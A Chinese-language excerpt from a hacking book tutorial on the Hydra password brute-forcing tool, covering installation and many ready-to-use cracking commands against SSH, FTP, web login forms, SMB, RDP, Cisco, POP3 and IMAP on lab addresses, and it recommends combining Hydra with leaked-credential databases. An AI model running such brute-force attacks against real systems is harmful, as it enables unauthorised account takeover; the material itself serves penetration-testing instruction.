摘要: Hydra是世界顶级的密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,密码能否被破解的关键取决于破解字典是否足够强大。在网络安全渗透过程中,Hydra是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。本文选自《黑客攻防:实战加密与解密》
Hydra是著名黑客组织thc开发的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和kali等渗透平台收录。除了命令行下的Hydra外,还提供了Hydra-GTK版本(有图形界面的Hydra),其官方网站是http://www.thc.org/thc-hydra。
Hydra的最新版本为Hydra 7.6,它支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解。
Hydra可以在Debian和Ubuntu等环境下安装和使用。
如果是Debian和Ubuntu发行版,会自带Hydra,可直接使用apt-get命令在线安装,命令如下。
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra
如果要使用Redhat/Fedora发行版的源码包编译安装,需要先安装相关依赖包,命令如下。
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel
CentOS的安装命令如下。
# tar zxvf hydra-7.6-src.tar.gz
# cd hydra-6.0-src
# ./configure
# make
# make install
BT5和kali都默认安装了Hydra。在kali中,依次单击“kali Linux”→“Password Attacks”→“Online Attacks”→“hydra”选项即可打开Hydra。在CentOS终端中,输入命令“/usr/local/bin/hydra”即可打开该暴力破解工具。除此之外,还可以通过“hydra-wizard.sh”命令进行向导式设置来密码破解。
如果不安装libssh,运行Hydra破解账号时会出现错误。下图所示,显示错误提示信息“[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!”。在CentOS下运行如下命令即可解决此问题。
yum install cmake
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install
cd /test/ssh/hydra-7.6 //此为下载Hydar并解压的目录
make clean
./configure
make
make install
Hydra命令示例如下。
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
本节给出Hydra的用法实例。
破解SSH账号有两种方式,一种是指定账号破解,另一种是指定用户列表破解,命令如下。
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
例如,输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”,对IP地址为192.168.44.139的root账号密码进行破解,破解成功后显示其详细信息如下。
输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh”,将扫描结果保存在save.log文件中,使用“cat save.log”命令查看扫描结果,如下。
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -L list_user -P list_password 192.168.56.101 ftp -V
对FTP服务器(192.168.56.101)进行密码破解。
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
(1)hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php: username= ^USER^ &password=^PASS^&submit=login:sorry password"
hydra -L list_user -P list_password 192.168.0.115 http-post-form "member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1:fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&handlekey=ls:Login failed" –V
以上示例表示对192.168.0.115进行破解,需要定义登录的URL,以及设置登录验证和错误登录标记,效果如图。
member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1
fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&handlekey=ls
Login failed
(2)对admin密码进行破解
hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password "
“-t”表示同时线程数为3;“-l”表示用户名是“admin”,字典为pass.txt,保存为out.txt;“-f”表示破解1个密码就停止;“192.168.0.115”表示目标IP地址;“http-post-form”表示采用HTTP的POST方式提交表单密码破解;“
”中的内容是错误猜解的返回信息提示。hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
hydra -P pass.txt 192.168.0.115 cisco
hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable
hydra -l administrator -P pass.txt 192.168.0.115 smb
hydra -l muts -P pass.txt my.pop3.mail pop3
hydra ip rdp -l administrator -P pass.txt -V
hydra -s 3389 192.168.44.138 rdp -L user.txt -P pwd.txt –V
hydra -l admin -P pass.txt http-proxy://192.168.0.115
hydra -L user.txt -p secret 192.168.0.115 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
本文选自《黑客攻防:实战加密与解密》。